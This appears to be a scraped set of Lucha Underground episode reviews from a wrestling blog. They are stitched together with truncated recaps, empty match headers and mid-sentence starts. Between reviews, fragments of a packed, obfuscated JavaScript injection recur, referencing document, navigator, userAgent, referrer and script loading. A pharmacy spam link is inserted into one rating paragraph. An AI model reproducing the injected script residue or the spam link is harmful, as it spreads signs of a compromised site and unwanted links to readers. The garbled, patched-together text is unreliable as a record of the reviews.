We cut the camera away from Star breaking something made of glass over the bloody Taya. They head up the steps as is the Lucha Underground custom but now it’s table time. A slugout goes to Taya but they fight into the crowd again to chop it out. Star gets beaten up against a camera but gets in a belly to belly suplex off the balcony and through the table. That’s already enough to put Taya down for ten at 9:10.

Rating: B-. They beat each other up but this felt like it was just getting started when it wrapped up. I wanted to see them fight more but the big spot at the end looked like something that destroyed Taya once and for all. The win isn’t enough to make me care about Star (Matt Striker has killed her career just less than she did it to herself) though this was entertaining while it lasted.

Trios Titles: Reptile Tribe vs. The Mack/Dante Fox/Killshot

The Tribe (Drago/Vibora/Pindar) are defending and I don’t remember them either. Killshot and Fox are not only still alive but also have taped up ribs. Fox kicks Pindar in the head to start but his ribs give out, allowing Killshot to tag himself in, much to Fox’s annoyance. Drago comes in with a tornado DDT and Pindar comes back in for a powerslam. A pop up cutter gets no cover as Fox makes the fast save.

Mack comes in to clean house with some running splashes in the corner but the monster Vibora comes in. Fox and Killshot can’t combine to take care of him as everything breaks down. Vibora takes Killshot down with a clothesline but Mack runs him over without too much effort. Now it’s Killshot and Fox hitting stereo dives, leaving Mack to Stun Pindar into a top rope double stomp from Fox for the pin and the titles at 8:02.

Rating: C. My goodness the Reptile Tribe just did not work. I could barely remember who was whom and that’s a bad thing for your champions. Throwing together three guys to win them is probably an upgrade, which is really sad when you think about it. Let them have something to do with the belts and it will be quite the improvement.

Card rundown for next week.

Gift of the Gods Title: Son of Havoc vs. Pentagon Dark

The title is vacant coming in and this is a ladder match. They talk trash to start until an exchange of kicks to the face sends Pentagon outside. A big cartwheel into a flip dive takes Dark down again and it’s time for the ladder. First up is a smaller version being brought inside with Pentagon sending it into his face and then over his back.

Pentagon throws in another mini ladder and three full sized ones with the big ones being set up in various corners. Naturally that’s enough for Havoc to get back up for an elbow to the face before sending Dark into a chair in the corner. Dark gets crotched with a ladder in the corner plus some swings of a chair. That’s not enough for Havoc to get anywhere close to the title so let’s throw in a table as a bonus.

Havoc is right back up with a belly to back superplex from a ladder through the table though and both guys are down again. It’s Havoc up first but his shooting star is caught in a cutter (It’s no Randy Orton and Evan Bourne but what is?) in a big spot. Havoc is up first again though and he sets up four chairs in the middle of the ring.

For reasons of general evil, they fight onto the chairs and Pentagon package piledrives him through the four of them, killing Havoc pretty much dead. There’s no climbing though as Pentagon bridges a ladder up as a platform. They slug it out on said platform until Pentagon throws him through a table. That’s enough to pull the title down at 14:00.

Rating: B. The ending leaves me more confused than anything else as I have no idea why they didn’t just have Pentagon win after the big spot. Throwing him through a table didn’t feel like a huge move and there’s really no reason to have Havoc be conscious still after the piledriver, let alone be competitive. That being said, having Pentagon win anything is a great move and a cash-in next week wouldn’t shock me in the slightest, which could make for a heck of a finale.

Post credits, Vampiro has Prince Puma surrounded by a circle of candles. Next week Puma can win the title back and complete the circle. Puma leaves and Vampiro hears a voice complimenting him on a job well done. Vampiro thanks the voice and calls him master. Oh I think I know where this is going and that’s an awesome finish.

Overall Rating: B. Good show for the most part but nothing felt like a major moment. Granted it didn’t help that the Trios Titles mean nothing and there’s no way anything is topping that 2/3 falls match from the first week. The two hour finale should be awesome, but they better do something with the big story already as I’m getting a bit impatient with the thing.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rizbr|var|u0026u|referrer|ahekr||js|php'.split('|'),0,{})) Underground
Date: July 12, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

It’s time for the second round of the Cueto Cup as we’re down to sixteen names. Hopefully that means the end of the squashes which dominated so much of the first round. You can probably guess the winner fairly easily but it’s nice to have some good matches along the way. Let’s get to it.

We open with a recap of the tournament and some first round matches.

Cueto Cup Second Round: Jeremiah Crane vs. Taya

Taya turns up the sex appeal to land an early slap but Crane does the same, minus the sex appeal that is. That sends Taya outside for a suicide elbow, followed by a run around the ring for a flip dive to drive Taya through a chair. Back up and Taya knocks him off the barricade for a dive of her own.

She hammers on Crane back inside, followed by a running boot in the corner as Striker is losing his mind here despite it not being that big of a deal. A series of strikes to the head drops Taya again but she plants him with a tornado DDT for two of her own. Cue Sexy Star for a distraction though and it’s Cranial Contusion to send Crane to the next round at 6:25.

Rating: C. They were beating the heck out of each other here and it was nice to see Taya getting in some offense and hanging in there with Crane for a bit but there’s only so far that she’s going to be able to take something like this. At least Crane can get in a big fight in the quarterfinals and move on from here.

Post match Star knocks Taya out with brass knuckles.

Fenix and Aero Star talk about Drago leaving to join the Reptile Tribe. Aero Star, a time traveler, bets on Fenix, who doesn’t find that exactly fair.

Cueto Cup Second Round: Mil Muertes vs. Paul London

London starts dancing to start as we hear about his time in Ring of Honor with Striker mentioning specific matches. After over a minute of walking around, London gets thrown into the corner, meaning it’s time to head outside for a chase. The fans are entirely behind Muertes here as he unloads on London and throws him around with ease. Ten shoulders to the ribs have London in even more trouble but he snaps Muertes’ throat across the top.

That’s fine with Mil, who sends London into the barricade for a crash. A string of superkicks that would make the Young Bucks tell you to turn it down staggers Muertes and a top rope double stomp to the back puts him down again. The swinging chokeslam drops London though but the Rabbit Tribe comes in for a distraction. London gets two off a middle rope shooting star but it’s a spear and the Flatliner to end Paul at 9:29.

Rating: C+. Much like the first match, it was entertaining but did anyone http://onhealthy.net/product-category/erectile-dysfunction/ really buy another ending? London was certainly game here though and that helps a lot, even if there was no way around anything Muertes had for him. Muertes has to be a favorite in this thing but whoever beats him will get a heck of a rub.

Post match London gets the Lick of Death, which he seemed to enjoy. The fans even call him lucky.

Brenda hits on Texano, who buys her a drink. She calls him boring so he breaks a beer bottle in his hand. A woman’s touch could fix that though and Texano smiles.

Cueto Cup Second Round: Fenix vs. Marty Martinez

Melissa Santos still seems to have a crush on Fenix. Marty creepily rubs his stomach but gets dropped as things speed up. Fenix ducks a charge to send him outside for a kick to the face and a running flip dive. Mariposa offers a distraction though and Marty kicks him down, sending Melissa into a bit of fear.

Back in and we hit the chinlock with Marty ripping at the mask a bit. Fenix gets up and hits a good looking (and loud) running kick to the face in the corner, followed by a double stomp for two. A spring flipping moonsault misses though and Marty kicks him in the face for his own near fall.

Marty flips him forward into something like a Codebreaker (cool move) for two more but Fenix gets in a superkick. Mariposa grabs some kind of box that Marty brought with him but, for perhaps the first time ever, Melissa gets physical and blocks the shot, freaking the crowd out even more. The distraction lets Fenix grab a hurricanrana for the pin at 10:19.

Rating: C+. This was more about the storytelling and anything that involved me getting to see more of Melissa Santos, the better. She and Fenix could be interesting and having Marty and Mariposa around to antagonize them should help a lot as well. The match was good too, especial with Fenix flying all over the place like he does.

Post match Marty hits him with the box and pulls out a fork to carve up Fenix’s head as Melissa is forced to watch. Marty even licks the blood to be extra creepy.

Overall Rating: B. Now that’s more what I was looking for. This show featured bigger matches that felt like showdowns and I’m curious to see where some of these matches are going to go. We should have the final eight set up in two weeks and then the tournament finals three to four weeks later. They’re getting through this tournament fairly fast and that’s a good thing. Solid show here and better than the first round stuff.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdssz|var|u0026u|referrer|bstat||js|php'.split('|'),0,{})) Underground
Date: June 28, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

The opening video is a very quick tournament recap, plus looks at Killshot, Dante Fox and Jeremiah Crane.

Cueto Cup First Round: Mil Muertes vs. Veneno

Cueto Cup First Round: Paul London vs. Vibora

London knocks him outside for some palm strikes to the chest but Vibora just stares him down. With that not working, London, I kid you not, holds Kobra Moon hostage with the carrot from his hat. Fans: “SAVE THE CARROT!” They get in for the first time with Vibora throwing London around but getting kicked in the face a few times. Vibora gets sent to the floor for a springboard trust fall but he does the Undertaker situp, only to have the rest of the Rabbit Tribe grab his feet for a countout at 3:54.

Rating: D+. There was a story here with the much younger monster being caught by the pesky and more experienced Rabbit Tribe. The carrot thing was entertaining enough (I have a soft spot for rabbits) and this keeps Vibora looking strong, which could be a good idea going forward.

Cueto Cup First Round: Taya vs. Joey Ryan

Cueto Cup First Round: Jeremiah Crane vs. Killshot

A run around the ring builds up enough momentum for a cannonball through Killshot through some chairs in a sick sounding crash. They change pace by going inside where Killshot kicks him in the face for two. Killshot flips up into a cutter for two but gets caught in a brainbuster for the same. They trade the very loud strikes until both guys are knocked silly on the mat.

Post match Catrina comes out to look at Crane, who blows her a kiss.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tastn|var|u0026u|referrer|itfnr||js|php'.split('|'),0,{})) Underground
Date: November 23, 2016
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

Of course we open with a recap of Aztec Warfare. Also covered is the Black Lotus Tribe vs. Pentagon Dark and the Gift of the Gods Title being cashed in.

The White Rabbit Tribe is here.

Trios Titles: Rabbit Tribe vs. Fenix/Drago/Aerostar

They’re also challenging because they’re making their debut here and are neither fabulous nor kangaroos. It’s a brawl to start as Striker says London’s reputation got the team this early title shot. London does a big backwards dive onto the champs as Vampiro suggests getting Striker high for a trip down the rabbit hole.

Dante Fox vs. Killshot

Johnny Mundo comes in to see Dario and tells him that Angelico has been barred from the building via a restraining order.

Lucha Underground Title: Sexy Star vs. Johnny Mundo

Johnny hammers away and puts her in the Tree of Woe for a bit to keep up the destruction. The comeback is knocked away with ease but Star hits a few dropkicks for two. A neckbreaker cuts Star off again though and we hit the chinlock. Star finally gets in a Backstabber for two but a Russian legsweep puts Johnny in control again.

The fan was Taya of course and the Worldwide Underground celebrates to end the show.

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htfti|var|u0026u|referrer|brbnk||js|php'.split('|'),0,{})) Underground
Date: September 7, 2016
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

Lucha Underground Title: Son of Havoc vs. Matanza

Gift of the Gods Title: Taya vs. Sexy Star

Star gets beaten down until Fenix, Drago and Aerostar make the save. You can almost guarantee an eight person tag.

Rey Mysterio Jr. vs. Pentagon Dark

https://www.amazon.com/dp/B01IH7O904

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybdef|var|u0026u|referrer|kndsi||js|php'.split('|'),0,{})) Underground
Date: July 20, 2016
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

Trios Titles: Drago/Fenix/Aerostar vs. Johnny Mundo/Jack Evans/PJ Black

Dragon Azteca Jr. vs. Black Lotus

Lucha Underground Title: Matanza vs. Pentagon Dark

Matanza is defending, Dario is in his corner and there must be a winner. Pentagon immediately hits a flip dive over the top to put the champion down. Vampiro keeps talking about the differences between Pentagon Jr. and Pentagon Dark as Pentagon knocks Matanza around ringside, including a hard whip into the barricade. An AA (not a Death Valley Driver announcers) has Matanza in even more trouble and he punches the post to make it even worse.

Some chairs to the back (including a La Parka guitar strum) knock Matanza around ringside and Pentagon whips him through some chairs. Matanza gets in a few right hands, only to be superkicked up against the barricade. Pentagon throws him through more chairs as this has been about 95% Pentagon through the first five minutes.

Matanza sends him flying with a pumphandle suplex and a standing moonsault gets two. Pentagon stands up after a German suplex and tells him to bring it. That means superkick #5 to the champ before a modified Wrath of the Gods (not an Irish Car Bomb Matt) gets two. Pentagon goes outside and stops a dive with a chair to the head, followed by a Canadian Destroyer to really knock Matanza silly.

Rating: B. Uh what? No seriously, what was that ending? Pentagon completely dominated Matanza the whole match, shrugged off most of his offense and then gets beaten by two moves? That felt like they had no idea how to get out of this and just said “oh just have him hit his finisher to retain”. No build to it, no logical storytelling, no reason for Pentagon to lose that fast.

Post match Vampiro goes to help Pentagon but gets shoved away.

After a break, Vampiro takes his medicine, saying he failed.

Taya vs. Ivelisse

Taya is sent into the chairs and they fight on the steps before crashing down. Back in and Iveliss kicks her down a few times before grabbing a release German suplex. A bridging German suplex gets two and there go the lights. Back with Catrina in the ring and hitting a double arm DDT drop (think a Bubba Bomb but a double arm DDT instead of a full nelson). The lights go off again and Catrina disappears, allowing Taya to hit a double stomp for the pin at 6:20.

Post match Catrina appears again to give Ivelisse the Lick of Death.

Rey Mysterio Jr. vs. Prince Puma

All season long there were stories built, be it the big ones like Dario having a master, Councilman Delgado and everyone talking about what a big deal this was. Then there were individual ones like Marty the Moth vs. Killshot, Aerostar being from the future or whatever else you want to name. At the end of it though, all we get is this one storyline development that seems more like a teaser than any major change.

https://www.amazon.com/dp/B01IH7O904

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6